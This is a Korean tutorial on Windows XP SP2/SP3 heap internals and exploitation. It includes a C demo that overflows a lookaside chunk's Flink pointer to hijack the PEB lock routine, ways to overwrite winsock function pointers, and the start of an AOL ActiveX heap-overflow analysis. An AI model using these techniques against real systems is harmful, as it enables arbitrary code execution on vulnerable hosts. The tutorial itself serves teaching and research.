Heap Overflow - 102 By WraithOfGhost
이전문서에서 unlink 프로세스가어떻게동작되는지, FreeLists[n] 의 Flink/Blink 를이용해공격자가어떻게 4 바이트값을덮어쓰는지보여주기 위해 Windows XP SP1 환경에서힙오버플로우익스플로잇방법을다루었다. 이번문서의목표는자신스스로를다시한번교육 ( 혹시나잊어버렸을까봐 ) 시키고보안전문가들이힙매니저가 NT v5 버전이하에서어떻게동작하는지이해시키는것이다. 이는힙오버플로우공격, 메모리충돌취약점및 4 바이트값덮어쓰기에대한보호기법을우회하는꼭필요한지식이다. 이는또한새로운윈도우버전에서힙과관련된공격을계속수행하기위해문서를읽는사람들에게관련지식에대한일종의기준점을제공하는역할을한다. 이번튜토리얼은 Windows XP SP2/SP3 환경에서힙보호메커니즘을우회하는특정한기법을다루기위해잘알려진한개의어플리케이션에대하여자세히다룰예정이다. 그러므로힙의전체적인특성을다루지않고, 최고의방법이라할수없다. 본격적으로시작하기에앞서힙구조가 Windows XP3 / Server 2003 환경에서어떻게동작하는지에대한약간의지식이필요하다. 이번문서의목적과이전문서 (HeapOverflow 101) 를기반으로하여위에서언급한환경에서어떻게힙이내부적으로동작하는지설명할것이다. 만약자신이가장기본적인힙오버플로우에대해서도잘모른다면해당부분을먼저공부하기바란다. 본문서의이해와실습을위해선다음과같은것들이필요하다. - Windows XP SP1 - Windows XP SP2/SP3 - Windows XP SP1 - 디버거 ( 올리디버거, 이뮤니티디버거, 윈디버거등 ) - C/C++ 컴파일러 (Dev C++, lcc-32, MS visual C++6.0 등 ) - 스크립트언어 ( 파이썬, 펄등 ) - 뇌 ( 고집, 끈기 ) - 어셈블리, C에대한약간의지식, 디버깅능력 - 시간
힙덩어리 (chunk) 와블록 (block) 의개념 So what exactly is a chunk and a block? 기본적으로윈도우는힙을위해특정한구조가존재한다. PEB 로부터오프셋 0x90 에 위치한주소를보면정렬된 ( 시간순서로 ) 배열내부에존재하는주어진프로세스에 할당된힙리스트를볼수있다. 힙구조체를우선살펴볼것이다. Windbg( 이하윈디버거 ) 를이용하여!peb 명령어를이용하여 PEB 를찾을수있다. 이뮤니티디버거역시!peb 명령어를이용하여해당정보를볼수있다. 다음의 코드는!peb 명령어에서사용되는것이다. from immlib import * def main(args): imm = Debugger() peb_address = imm.getpebaddress() info = 'PEB: 0x%08x' % peb_address return info PEB 정보를찾았다면프로세스힙을볼수있다. +0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 Void 해당포인터주소 (0x7C97FFE0) 에대하여 DWORD 단위 (4 바이트 ) 로덤프를수행한다. 0 : 0 0 0 > d d 7 c 9 7 f f e 0 7 c 9 7 f f e 0 0 0 2 4 0 0 0 0 0 0 3 4 0 0 0 0 0 0 3 5 0 0 0 0 0 0 3 e 0 0 0 0 7 c 9 7 f f f 0 0 0 4 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 c 9 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 c 9 8 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 c 9 8 0 0 2 0 0 2 c 4 0 2 c 2 0 0 0 2 0 4 9 8 0 0 0 0 0 0 0 1 7 c 9 b 2 0 0 0 7 c 9 8 0 0 3 0 7 f f d 2 d e 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 1 7 c 9 8 0 0 4 0 f f f f f 8 9 c 0 0 0 0 0 0 0 0 0 0 3 a 0 0 4 3 0 0 5 7 0 0 5 c 7 c 9 8 0 0 5 0 0 0 4 e 0 0 4 9 0 0 4 f 0 0 4 4 0 0 5 3 0 0 5 7 0 0 7 3 0 0 5 c 위결과에서진하게표시된주소는실행되는프로세스에할당된힙영역이다. 이정보는 Windbg 와이뮤니키디버거에서!heap 명령어를이용하여볼수있다.
추가적으로각힙에대한통계적인정보를!heap stat 명령어를 Windbg 에서 실행하여알아낼수있다. _HEAP 00030000 Segments 00000002 Reserved bytes 00110000 Committed bytes 00014000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000 최종적으로힙에대한약간의 1) 메타데이터를 -h / -q 옵션을이용해이뮤니티 디버거에서덤프할수있다. 다른힙들은 C 컴포넌트나생성자에서생성되지만첫번째힙 (0x0024000) 은기본힙 (Default heap) 으로써시스템은프로세스가초기화될때프로세스의주소공간에기본힙을생성한다. 이전페이지의덤프명령어출력결과에서볼수마지막힙 (0x00480000) 은어플리케이션에서생성된것이다. 어플리케이션은 HeapCreate() 와같은함수를호출해추가힙을생성하고 PEB를기준으로오프셋 0x90 주소에생성된힙에대한포인터를저장한다. 해당함수의프로토타입 ( 함수원형 ) 은다음과같다. HANDLE WINAPI HeapCreate ( in DWORD floptions, in SIZE_T dwinitialsize, in SIZE_T dwmaximumsize ); 올바른파라미터와함께 HeapCreate() 함수를호출하면생성된힙을가리키는포인터가 EAX 레지스터에저장되어리턴된다. 함수와파라미터에대한자세한설명은다음링크에서확인할수있다. https://msdn.microsoft.com/ko-kr/library/windows/desktop/aa366599(v=vs.85).aspx 1) 메타데이터 (meta data) : 데이터에대한데이터
아래표는힙구조에대한것으로중요한것은진하게표시되어있다. Windbg 에서 이정보를보기위해 dt_heap 명령어를이용할수있다. 주소값설명 0x00360000 0x00360000 Base Address 0x0036000C 0x00000002 Flags 0x00360010 0x00000000 ForceFlags 0x00360014 0x0000FE00 VirtualMemoryThrehold 0x00360050 0x00360050 VirtualAllocatedBlocks List 0x00360158 0x00000000 FreeList Bitmap 0x00360178 0x00361E90 FreeList[0] 0x00360180 0x00360180 FreeList[n] 0x00360578 0x00361080 HeapLockSection 0x0036057C 0x00000000 Commit Routeine Pointer 0x00360580 0x00360688 FrontEndHeap 0x00360586 0x00000001 FrontEndHeapType 0x00360678 0x00361E88 Last Free Chunk 0x00360688 0x00000000 Lookaside[n]
힙세그먼트 Heap segments 이전에언급했듯이모든힙덩어리는힙세그먼트에저장된다. 만약메모리덩어리가해제되면 FreeList 나 Lookaside 에추가되어힙세그먼트에도추가된다. 메모리할당이실행되는동안만약힙매니저가 FreeList / Lookaside 에서가용메모리덩어리를찾을수없다면커밋되지않은공간으로부터힙세그먼트에추가메모리를커밋한다. 수많은할당에의해수많은메모리가커밋된다면힙구조는수많은세그먼트를가질수있다. 아래표는세그먼트덩어리구조를의미한다. Header Self Size (0x2) Prev Size (0x2) Segment index (0x1) Flag (0x1) Unused (0x1) Tag index (0x1) Data 힙세그먼트를분석할때,!heap a [heap 주소 ] 명령어를 Windbg 에서사용할수 있다.
또한!heap h [ 힙주소 ] -c 명령어를이뮤니티디버거에서실행할수있다. -c 옵션은힙덩어리목록을보여준다. 각세그먼트는세그먼트내의데이터덩어리에다음에위치한자신의메타데이터를포함한다. 메타데이터는커밋된세그먼트의메모리이고, 세그먼트는또한커밋되지않은메모리섹션을포함한다. 이제우리가분석해야할세그먼트의주소를알게되었으니 dt_heap_segment [ 세그먼트주소 ] 명령어를이용하여메타데이터구조를덤프할수있다. 다음표는세그먼트메타데이터의구조를상세하게나타낸것이다. 이해하기쉽게 0x00480000 주소범위부터나타낼것이다. 주소값설명 0x00480008 0xFFEEFFEE Signature
주소 값 설명 0x0048000C 0x00000000 Flags 0x00480010 0x00480000 Heap 0x00480014 0x0003D000 LargeUncommitedRange 0x00480018 0x00480000 BaseAddress 0x0048001C 0x00000040 NumberOfPages 0x00480020 0x00480680 FirstEntry 0x00480024 0x004C0000 LastValidEntry 0x00480028 0x0000003D NumberOfUncommitedPages 0x0048002C 0x00000001 NumberOfUncommitedRanges 0x00480030 0x00480588 UnCommitedRanges 0x00480034 0x00000000 AllocatorBackTraceIndex 0x00480036 0x00000000 Reserved 0x00480038 0x00381EB8 LastEntryInSegment 세그먼트에서가장중요한정보는첫번째덩어리그자체이다. 이정보만가지고 세그먼트를좀더쉽게분석할수있다. 세그먼트의사이즈와모양을알고있으니 n 덩어리와 n+1 덩어리의모습을쉽게예상할수있다.
백엔드할당자 해제리스트 The back-end allocator Freelist 힙구조체의오프셋 0x178 주소에서 FreeList[] 배열의시작부분을볼수있다. 해당배열은덩어리목록을이중연결리스트형태로가지고있다. 다양한자료구조중이중연결리스트로표현된것은해당배열에서 flink 와 blink, 총 2개를소유하고있기때문이다. 위다이어그램사진은 FreeList 가 0 ~ 128 범위를가지는정렬된힙덩어리의배열을가지고있다는것을보여준다. 0 ~ 1016 사이즈 2) 의힙덩어리는덩어리자체의 할당유닛사이즈 * 8 에기반하여저장된다. 예를들어해제해야하는메모리가 0x40 바이트만큼있으면 Freelist 의 4번째 (40/8) 위치 3) 에저장해야한다. 만약덩어리사이즈가 1016(127*8) 바이트보다크면숫자크기대로순서대로정렬 되어 FreeList[0] 에저장된다. 아래표는 FreeList 덩어리를나타낸것이다. Headers Self Size (0x2) PrevSize (0x2) Segment Index (0x1) Flag (0x1) Unused (0x1) Tag Index (0x1) Flink / Blink Flink (0x4) Blink (0x4) Data 마이크로소프트는 Freelist 엔트리의 unlinking 과정을보호하기위해몇가지 보호기법을적용하였는데, 각보호기법들에대한간략한설명은다음과같다. 2) 최대크기가 1024 8( 메타데이터 ) 이기때문에 1016 이나온다. 3) 40/8 = 5, 그러나배열이 0 부터시작되기때문에 4 가됨
Safe unlinking of the freelist Safe unlinking 은 Windows XP SP2 이상에서적용되는마이크로소프트의보호기법이다. 기억할지모르겠지만이전문서 (Heap overflows 101) 에서보여준일반적인 4바이트덮어쓰기공격을막기위한필수적인익스플로잇보호기법이다. 이기법은이전덩어리의 flink 포인터가방금할당된덩어리를가리키는지체크하고다음덩어리의 blink 포인터가동일한덩어리 ( 방금할당된 ) 를가리키는지체크한다. 이해를돕기위해다음의설명과그림을추가하였다. Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] == Freelist chunk 2 위사진에서빨간색화살표가체크가수행되는루틴이라할수있다. 체크루틴중단하나라도실패한다면 ntdll.dll 내부에서 0x7C936934 로분기 하게된다. 보는것처럼 flink/blink 체크코드가추가된것만제외하면일반적인 unlink 과정과매우비슷하다는것을알수있다.
FreeList header cookies Windows XP SP2가공개되면서힙덩어리헤더에서오프셋 0x5 위치에랜덤힙쿠키가추가되었다. Freelist 덩어리만힙쿠키체크루틴이포함되어있다. 다음사진은보안쿠키 ( 강조표시 ) 를포함하는힙덩어리모습이다. 보안쿠키는 1 바이트의랜덤값이고총 256 가지의값을가질수있다. 멀티쓰레드환경에서는무작위대입을통해이런보호기법을무력화시킬수있다.
백엔드할당자 Lookaside The back-end allocator Lookaside lookaside 리스트는단일연결리스트구조이며 1016 바이트이하의힙덩어리를저장하기위해사용된다. 해당리스트를사용하는근본적인이유는검색시간을줄이기위한것이다. 검색시간을줄이려고하는이유는프로세스가실행될때어플리케이션이수많은 HeapAlloc() / HeapFree() 를실행하여퍼포먼스이슈가발생할수있기때문이다. lookaside 리스트가애초에효율성, 속도를위해고안된것이기때문에하나의리스트당 3개의해제힙덩어리만허용한다. 만약 HeapFree() 가덩어리에서호출되는순간이미해제되는사이즈만큼의 3개의요소가존재한다면, 해제되는덩어리는 Freelist[n] 에저장된다. 힙덩어리사이즈는항상 실제할당사이즈 + 헤더를위한추가 8 바이트 식으로계산된다. 따라서 16 바이트할당이일어나면, lookaside 리스트는 24 바이트덩어리를찾는다. 아래그림의경우윈도우힙매니저가 lookaside 리스트에서할당요청된사이즈를 2번째인덱스에서찾은것이다. lookaside 리스트는다음가용덩어리 ( 사용자데이터 ) 를가리키는 flink 포인터를가지고 있다. Headers Self Size (0x2) PrevSize (0x2) Cookie (0x1) Flag (0x1) Unused (0x1) Segment Index (0x1) Flink / Blink Flink (0x4) Data
윈도우힙매니저가할당요청을받으면, 요청조건을충족하기위해힙메모리의해제된영역을찾는다. 최적화정도와수행속도를위해윈도우힙매니저는제일처음 lookaside 를참조 ( 전방탐색이기때문에단일연결리스트부터검색 ) 하여해제된영역을찾는다. 해제된영역을찾을수없으면 back-end 할당자를이용한다. 할당자를이용할경우처음에 freelist[1] ~ freelist[127] 범위내에서검색을수행한다. 그럼에도불구하고해제된영역을찾을수없으면 freelist[0] 으로이동하여할당이요청된사이즈보다큰해제영역을찾거나, 요청된사이즈를분할하여분할된사이즈에맞는해제영역을찾는다. 찾아진영역은힙매니저로리턴되고나머지는 freelist[n] 에 ( 여기서 n 은찾아진영역사이즈에서요청에대한바이트를제외하고남은바이트에대한인덱스값 ) 저장된다. 여기까지잘이해했다면이제힙동작에대하여알아볼차례이다.
기본적입힙동작 Basic Heap Operations Chunk Splitting ( 덩어리조각내기 ) chunk splitting 는 freelist[n] 에접근하여가용덩어리를찾고해당덩어리를더욱작은사이즈로조각내는작업이다. 응용프로그램에서요청된할당사이즈보다큰 freelist의덩어리에접근하면, 해당덩어리는요청된사이즈에알맞게조각내어진다. freelist[0] 이 2048 바이트크기의한덩어리라고가정한다. 요청된할당사이즈가 ( 헤더포함 ) 1024 바이트라고하면, freelist 의덩어리는반으로나뉘고 1024 바이트는 할당을위해사용되고나머지 1024 바이트는다시 freelist[0] 에저장된다. Heap Coalescing ( 힙합치기 ) heap coalescing 은인접하게위치한해제된힙메모리영역을다시합치는작업이다. 힙매니저가이런작업을수행하는이유는세그먼트메모리를효과적으로사용하기위한것이다. 물론덩어리가해제되었을때효율성과관련해서약간의리스크가존재한다. heap coalescing 은매우중요한작업이다. 왜냐하면한번해제된수많은덩어리들을합쳐나중에있을지모르는큰사이즈에대한할당요청에사용할수있기때문이다. 만약 heap coalescing 작업이발생하지않으면힙세그먼트에낭비되는덩어리가생성되고단편화현상이일어난다.
Windows XP SP2-3 환경보안메커니즘우회기법 Techniques for bypassing Windows XP SP2-3 security mechanisms Overwriting a chunk of the lookaside (lookaside 덩어리덮어쓰기 ) 이기법은힙쿠키와 safe unlinking 체크를우회하기위해사용되는가장흔한방법이다. 기법자체가어플리케이션에특화되어 4 바이트를덮어쓰는것이기때문에일부어플리케이션은안정적인익스플로잇을위해충분한힙레이아웃을사용자가알아낼수있게허용한다. lookaside 리스트에서는힙쿠키나 safe unlinking 체크등이이루어지지않기때문에공격자는인접한 lookaside 에있는값으로 flink 포인터를덮어쓸수있고 HeapAlloc() / HeapFree() 함수를호출함으로써덮어쓴 flink 포인터를이용할수있고, 이는다음가용덩어리공간에악성코드를작성하기위해사용한다. 방금설명한기법이어떻게동작되는지그림과함께살펴보면다음과같다. 1. A 덩어리를현재세그먼트에할당한다. 2. 또다른덩어리 B 를동일한세그먼트에할당한다.
3. B 덩어리를해제하여 lookaside 리스트에추가하면 2 개의요소가존재한다. 한개는세그먼트, 나머지한개는 lookaside 리스트에사용된다. 4. A 덩어리를오버플로우시킨다. 그러면나중에 B 덩어리도오버플로우가 발생하고 Flink 포인터값이변경된다. 바로이값이덮어쓰일메타데이터 이다.
5. 그다음 2번과정의 B 덩어리와동일사이즈를할당하여다시 B 덩어리를할당한다. 그러면 B 덩어리포인터가리턴되고 B 덩어리에대한참조를현재힙세그먼트에업데이트시킨다. 그러면다음할당을위한준비가완료되는데, 이때 flink 포인터가 B 덩어리임의의주소에업데이트되는데해당주소는공격자가 A 덩어리를오버플로우함으로써조정할수있다. 6. C 덩어리를할당함으로써제어권을얻는다. 해당덩어리는 B 덩어리다음에 위치한첫번째가용덩어리로써, 이전에획득한 B 의제어포인터를통해 가리켜진다. 대부분의경우공격자는 C 덩어리를쉘코드로채운다.
위프로세스가실행되면우리가덮어쓴 4 바이트다음에호출될함수포인터를 제어할수있게된다. 아래 C 코드는이런프로세스를나타낸것이다. /* lookaside 덩어리덮어쓰기예제 */ #include <stdio.h> #include <windows.h> int main(int argc,char *argv[]) { char *a, *b, *c; long *hheap; char buf[10]; printf("----------------------------\n"); printf("overwrite a chunk on the lookaside\n"); printf("heap demonstration\n"); printf("----------------------------\n"); // 힙생성 hheap = HeapCreate(0x00040000,0,0); printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap); printf("(+) Allocating chunk A\n"); // 0x3F8 바이트보다작은사이즈의첫번째덩어리할당 a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk B\n"); // 0x3F8 바이트보다작은사이즈의두번째덩어리할당 b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b); printf("(+) Freeing chunk B to the lookaside\n"); // 할당된 B 덩어리해제 - 해제된덩어리는 lookaside 에서참조된다. // 참조라는의미가이해가가지않으면그냥 ' 이동된다 ' 라고이해하기바람 HeapFree(hHeap,0,b); // 소프트웨어브레이크포인트설정 asm ("int $0x3"); printf("(+) Now overflow chunk A:\n"); // 'A' 덩어리에오버플로우발생 : 'B' 덩어리의 Flink 포인터변조가능 // 테스트를위해 PEB lock 루틴실행 // 16 바이트사이즈, 8 바이트헤더, 4 바이트 Flink 포인터 // strcpy(a,"xxxxxxxxxxxxxxxxaaaabbbb\x20\xf0\xfd\x7f"); // strcpy(a,"xxxxxxxxxxxxxxxxaaaabbbbdddd"); gets(a);
// 소프트웨어브레이크포인트설정 asm ("int $0x3"); printf("(+) Allocating chunk B\n"); // N 사이즈만큼의덩어리가 'C' 에할당됨 // ( 공격자가오버플로우로변조한 ) 가짜포인터가 lookaside 리스트에서리턴됨 b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Allocating chunk C\n"); // 소프트웨어브레이크포인트설정 asm ("int $0x3"); // A second chunk of size N is allocated: our fake pointer is returned // N 사이즈만큼의두번째덩어리가할당됨 - 가짜포인터가리턴됨 c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10); printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c); // ( 공격자의 ) 입력값을이버퍼에복사하는동작이수행됨 // 해당값들은우리 ( 공격자 ) 가선택한위치에작성됨 // 여기에쉘코드를추가하면됨 gets(c); // 소프트웨어브레이크포인트설정 asm ("int $0x3"); } exit(0); asm ( int $0x3 ); 명령어가있는이유는디버거에서위바이너리를실행하는동안일시적으로멈추게하기위함이다. 아니면컴파일된바이너리를디버거로열어서각호출에직접브레이크포인터 ( 이하 PB) 를설치해도된다. dev c++ 를이용하여컴파일 ( 인라인어셈블리문법이 AT&T 문법인것을주의 ) 한다. 어쨌든디버거에서실행하면다음과같이첫번째 BP에서멈춘다. * 그림크기가너무커서다음페이지로이동!!
0x00480000 세그먼트에 0x18 사이즈를가지는 2 개의덩어리를볼수있다. 해당값에서 0x8 바이트를빼면 0x10 이나 0x16 이나온다. lookaside 를분석하여 해당주소에서 B 덩어리를해제했는지살펴본다. 위사진처럼 lookaside 에해제한 B 덩어리가있는것을볼수있다. 해제된덩어리보다 8 바이트작은데, 다시말하지만 8 바이트는헤더를의미한다. 이덩어리는사이즈가 1016 보다작기때문에이미해당사이즈만큼최대 3개의덩어리가해제된상태이기때문에 Lookaside[03] 주소로해제된것이다. 보다확신을가지기위해 freelist 를살펴보면다음과같다.
freelist[0] 은기본적인부분 ( 세그먼트생성시약간의할당발생 ) 이기때문에해방부분을제외하고나머지는우리가원하는모습으로나타난다. 알다싶이 A 덩어리를 0x41( 알파엣 A 16진수 ) 로덩어리헤더근접까지오버플로우시켰다. 동일한데이터로근접한덩어리를 0x44( D ) 로덮어쓸것이다. 0x00481ea8-0x8 위치 ( 덩어리 B ) 가공격자의입력값으로인해오버플로우된것을볼수있다. 또한 lookaside 엔트리에 0x4444443C 값이있는것을볼수있다. 만약해당값에 0x8을더한다면 0x44444444( 공격자의입력값 ) 된다. 이제덩어리 B 의 Flink 포인터를어떻게제어하는지알수있을것이다.
덩어리 B (0x00481ea8-0x8) 와동일한사이즈의할당이일어나면, B 의엔트리는 looaside[3] 에서제거되고할당을요청한쪽으로리턴된다. 참고로덩어리의헤더 또한우리 ( 공격자 ) 가제어할수있다는것을알아두길바란다. 덩어리 A (0x00481e88) 를보면플래그가 0x1 로세팅되었는데이는해당덩어리가 현재사용중인상태라는의미다. 다음덩어리 (0x00481ea0) 은아직업데이트되지 않아현재 lookaside 에해제된상태로있다. 위사진의코드는 MOV 명령어에서접근위반이일어난다. 위에서설명한기법을이용하여어플리케이션을공격할때, 함수포인터 ( 가짜 flink 포인터 ) 를 0x44444444 말고다른값으로변경해야한다. 힙매니저가할당된다음덩어리를생성할때어플리케이션은해당값을가짜 flink 포인터주소에작성한다. 우린덩어리 C 를할당하고쉘코드로버퍼를꽉채워야한다. 이때필요한것은어플리케이션이크래시되기전에함수포인터를호출하는것이다. 이전 HeapOverflow 101 문서에서언급하지않은방법이있는데, 바로공격자가 PEB 전역함수포인터를이용 (Windows XP SP1 환경이하 ) 하는것이다. 그러나 XP SP2 이상에서는함수포인터주소가랜덤화되어사용하기힘들다. windbg 를이용하여바이너리를분석하여이부분에대해확인하면다음과같다.
한번더명령어를실행한다. PEB 사진 2개에서보는것처럼 PEB 주소가서로다르다. (7ffde000 -> 7ffdd000) 예외가발생하면, 예외디스패쳐 (exception dispatcher) 는 RtlAcquirePebLock() 함수를호출하는 ExitProcess() 함수를호출한다. 이동작이이루어짐으로써예외가발생하는동안 peb는변조되지않고예외처리핸들러의디스패치작업이끝나면 RtlReleasePebLock() 함수를호출하여 PEB lock을해제한다. 추가적으로이런함수내부에서사용하는포인터는 W X 보호가되어있지않기때문에메모리영역에서포인터에값을작성하거나실행시킬수있다. 방금위에서언급한각함수들은 PEB를기준으로고정된오프셋을가지는정적포인터를사용한다. 아래명령어결과는 RtlAcquirePebLock() 함수코드이다. 보는것처럼 FS:[18](peb) 가 EAX 레지스터에복사되고있다. 그리고 0x30 오프셋에서전역함수포인터가스택에 push( 저장 ) 되고있으며 0x24 오프셋은호출될 FastPebLockRoutine() 함수를의미 한다. 7C91040D > 6A 18 PUSH 18 7C91040F 68 4004917C PUSH ntdll.7c910440 7C910414 E8 B2E4FFFF CALL ntdll.7c90e8cb 7C910419 64:A1 18000000 MOV EAX, DWORD PTR FS:[18] 7C91041F 8B40 30 MOV EAX, DWORD PTR DS:[EAX+30] 7C910422 8945 E0 MOV DWORD PTR SS:[EBP-20], EAX 7C910425 8B48 20 MOV ECX, DWORD PTR DS:[EAX+20] 7C910428 894D E4 MOV DWORD PTR SS:[EBP-1C], ECX 7C91042B 8365 FC 00 AND DWORD PTR SS:[EBP-4], 0 7C91042F FF70 1C PUSH DWORD PTR DS:[EAX+1C] 7C910432 FF55 E4 CALL DWORD PTR SS:[EBP-1C] 7C910435 834D FC FF OR DWORD PTR SS:[EBP-4],FFFFFFFF 7C910439 E8 C8E4FFFF CALL ntdll.7c90e906 7C91043E C3 RETN 다음페이지의명령어결과는 RtlReleasePebLock() 함수가직접 FastpebUnlcokRoutine() 함수포인터를 PEB 내부에서전역배열오프셋 0x24 에서호출하고있는것을보여 준다.
7C910451 > 64:A1 18000000 MOV EAX,DWORD PTR FS:[18] 7C910457 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30] 7C91045A FF70 1C PUSH DWORD PTR DS:[EAX+1C] 7C91045D FF50 24 CALL DWORD PTR DS:[EAX+24] 7C910460 C3 RETN 따라서 RtlAcquirePebLock() / RtlReleasePebLock() 루틴이예외가발생할때호출 되는경우, 코드는계속예외를발생시켜끝없이우리의코드를실행한다. 그럼에도 불구하고우린쉘코드를실행하고포인터에대한포인터주소를 exit() 으로대체 하여 PEB 를패치할수있다. 현재프로세스가쓰레드가많으면많을수록, 랜덤화정도는더작아지기때문에현재 PEB 주소를어느정도예측할수있다. 하지만사실아직도문제가있는데바로우리가덮어쓸 4 바이트 ( 대부분함수포인터 ) 를위한안정적인함수포인터가없다는것이다. 가끔어플리케이션은예외가발생하기이전이나다른윈도우라이브러리의함수포인터가호출되어덮어쓸함수포인터와쉘코드실행에영향을주는경우커스텀함수포인터를이용하기도한다.
Specific pointer exploitation ( 특정포인터공격 ) 데모 (demonstration) 시연을위해 PEB 전역함수포인터가고정되어있는 Windows XP SP1 환경에서 lookaside 의덩어리를덮어쓰는것을보여줄것이다. 참고로 FastPEBLockRoutine() 함수는 0x7ffdf020 주소에위치한다. 이전에보여준 C 소스에서다음라인의주석을삭제한다. 주석제거이전 : // strcpy(a,"xxxxxxxxxxxxxxxxaaaabbbb\x20\xf0\xfd\x7f"); 주석제거이후 : strcpy(a,"xxxxxxxxxxxxxxxxaaaabbbb\x20\xf0\xfd\x7f"); 그리고다음라인에주석을추가한다. 주석추가이전 : gets(a); 주석추가이후 : // gets(a); 이제우린 A 덩어리를 X 문자들로오버플로우시키고, 그다음 B 덩어리의 메타데이터를 AAAABBBB 문자열로오버플로우시키고최종적으로 B 덩어리의 Flink 포인터를 0x7ffdf020 으로오버플로우시킨다. 변경된소스를재컴파일 하고이뮤니티디버거에서불러온다. 이제우리가 C 덩어리를할당 (0x7ffdf020 를 가리킴 ) 할때우린덩어리를쉘코드로채울수있는데, 이로인해예외가발생 한다. 아래사진에서보여지는코드들이 EAX 레지스터에 PEB 위치가있게만들고 우리코드를실행하는직접호출을오프셋 0x20(FastPEBLockRoutine()) 에서만든다. 이제우린 EIP 를완전하게제어할수있다. 여기까지잘왔다면 DEP 를우회하고 코드를실행하는것은사소한작업이다.
Application specific pointer exploitation 어플리케이션특화포인터공격 이전에보여준취약점을 Windows XP SP3 환경에서어플리케이션특화포인터공격으로데모를보여주지않으면이문서는완벽하지않을것이다. 이전처럼힙오버플로우취약점이있는대상소프트웨어를정할때오버플로우발생이후에호출되어작성, 실행 (W+E 권한 ) 할수있는하크코딩된함수가있다면이또한공격대상이될수있다. 예를들어 winsock의 WSACleanup() 함수를예로들면, 이함수는 XP SP3 환경에서 0x71ab400a 하드코딩함수를가지고있다. 해당주소역시쉘코드를작성할메모리주소로사용될수있다. 이런경우 WSACleanup() 함수가실행될때쉘코드로리턴될것이다. 아래사진은해당함수의디스어셈블결과이고하드코딩함수호출을찾는사진이다. 윈도우환경에서네트워크기능이있는대부분의어플리케이션은 winsock 에서익스포트된함수를사용하고특히 WSACleanup() 함수는모든소켓연결을정리할때사용하기때문에항상힙오버플로우발생직후에호출된다고봐도무방하다. 이런이유로 0x71ac4050 함수포인터를이용하여덮어쓰는것은꽤연속적인작업으로생각해도된다. 또다른예제는다음사진과같은데 recv() 함수역시동일한 ( 하드코딩된 ) 함수를호출한다.
0x71ac4050 함수를참조하는또다른코드를볼수있다. 해당함수를이용하는 것이성공적이라는것을보증하기위해메모리의접근권한을보면다음과같다. 이기법의근본적인문제는위주소를덮어쓰는것이기때문에 winsock 를사용하는쉘코드는실행이실패할수밖에없다는것이다. 이문제를해결하는방법은 0x71ac4050 주소를동일한코드로다시패치하여 winsock 호출을성공적으로이용할수있게만드는것이다.
Application specific heap exploitation example 어플리케이션힙공격예제 힙오버플로우, 메모리릭이발생하는취약하게설정된서버바이너리를이전에보여주었다. 기본목표는 lookaside 덩어리를덮어쓰고코드실행을할수있게만드는 PoC 익스플로잇을작성하는것이다. b33f을다운로드하여 Windows XP SP3 환경에서실행하여이전에설명한기법의개념을터득하기바란다. 문서를읽는사람들이약간의리버싱을통해힙의레이아웃을알아내고코드를실행하게만들고싶어 PoC 소스코드는공유하지않을예정이다. 약간의힌트를주자면힙의레이아웃을알아내었다면다음사진처럼동작하는 PoC를만들수있다. 물론힙메모리레이아웃을스스로알아내는것이완벽하다. 대상프로세스힙의레이아웃을좀더쉽게알아내기위한바이너리는클라이언트쪽의바이너리이다. 약간의스크립팅과힙레이아웃을조절할수있는능력이라면힙오버플로우를통해익스플로잇을할수있을것이다. Alex Sortivos 의 heaplib.js 파일을이용해메모리의할당, 해지및힙과관련된다른작업들을수행하는것이좋은예제가될것이다. 자바스크립트나 DHTML 을이용하여 MSHTML 에의해사용된힙과동일한것을할당 / 해제하려고한다면힙매니저를제어하여타켓브라우저의실행흐름을제어할수있게된다.
AOL 9.5 (CDDBControl.dll) 액티브엑스힙오버플로우분석 Analysis of AOL 9.5 (CDDBControl.dll) Active X Heap Overflow 이취약점을분석하여 Windows XP SP3 환경에서해당버그의익스플로잇가능성을보여주는것이좋다고생각했다. 스크립트나초기화과정에의한제어는안정적이지않음에도불구하고, 분석하기에는흥미로울것이라생각했다. 원래본섹션은추가하지않으려고했으나 sinn3r 4) 가요청했기때문에추가하였다. 취약점이액티브엑스와관련된것이기때문에공격하기위한방법중하나는 IE에서스크립트언어를이용하는것이다. 자바스크립트를이용하기로했는데이유는가장간단하면서 healib.js가자바스크립트로작성되었기때문이다. 본인의환경은다음과같다. - IE 6/7 - Windows XP SP3 - heaplib.js 분석을시작해보자! 우선첫번째로 exploit-db 에 Hellcode Research 그룹에 의해공개된익스플로잇 5) 을이용하여크래시를분석할것이다. 현재힙의세그먼트가실제론커밋되지않은메모리에서실행되고해당힙 세그먼트를위해더이상메모리를커밋할수없는상태이다. 해당주소를덤프하면다음과같다. 4) https://twitter.com/_sinn3r/status/109473323515260928 5) https://www.exploit-db.com/exploits/11190/
